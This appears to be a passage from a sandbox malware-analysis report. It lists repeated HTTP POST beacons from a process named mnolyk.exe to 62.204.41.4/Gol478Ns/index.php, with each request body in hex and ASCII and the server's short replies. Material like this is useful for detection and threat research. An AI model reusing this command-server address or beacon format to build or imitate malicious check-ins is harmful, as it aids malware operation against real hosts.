Feb 6, 2023 18:36:15.167905092 CET	510	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:15.234064102 CET	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.7	49798	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:15.438756943 CET	511	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:15.502535105 CET	512	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.7	49799	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:15.767937899 CET	512	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:15.831954956 CET	513	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.7	49800	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:16.519326925 CET	513	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:16.584275961 CET	514	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.7	49801	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:16.822546959 CET	514	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:16.886051893 CET	515	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.7	49802	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:18.022305965 CET	515	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:18.087846994 CET	516	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.7	49803	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:18.277309895 CET	516	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:18.340989113 CET	517	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.7	49804	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:18.533345938 CET	517	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:18.596836090 CET	518	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.7	49732	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:35:59.129342079 CET	440	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:35:59.197772980 CET	440	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:35:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.7	49805	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:18.799887896 CET	518	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:18.864208937 CET	519	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.7	49806	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:19.040858030 CET	519	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:19.107131004 CET	520	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.7	49807	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:19.287197113 CET	520	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:19.352997065 CET	521	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.7	49808	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:19.520673037 CET	521	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:19.583667994 CET	522	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.7	49809	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:19.755074978 CET	522	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:19.818711996 CET	523	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.7	49810	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:19.991660118 CET	523	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:20.057945013 CET	524	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.7	49811	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:20.234433889 CET	524	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:20.297949076 CET	525	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.7	49812	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:20.476057053 CET	525	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:20.538273096 CET	526	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.7	49813	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:20.733652115 CET	526	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:20.797667980 CET	527	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.7	49814	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:20.972676992 CET	527	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:21.035640955 CET	528	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.7	49733	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:35:59.781455994 CET	441	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:35:59.849287033 CET	441	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:35:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.7	49815	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:21.210733891 CET	528	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:21.274374008 CET	529	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.7	49816	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:21.444072008 CET	529	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
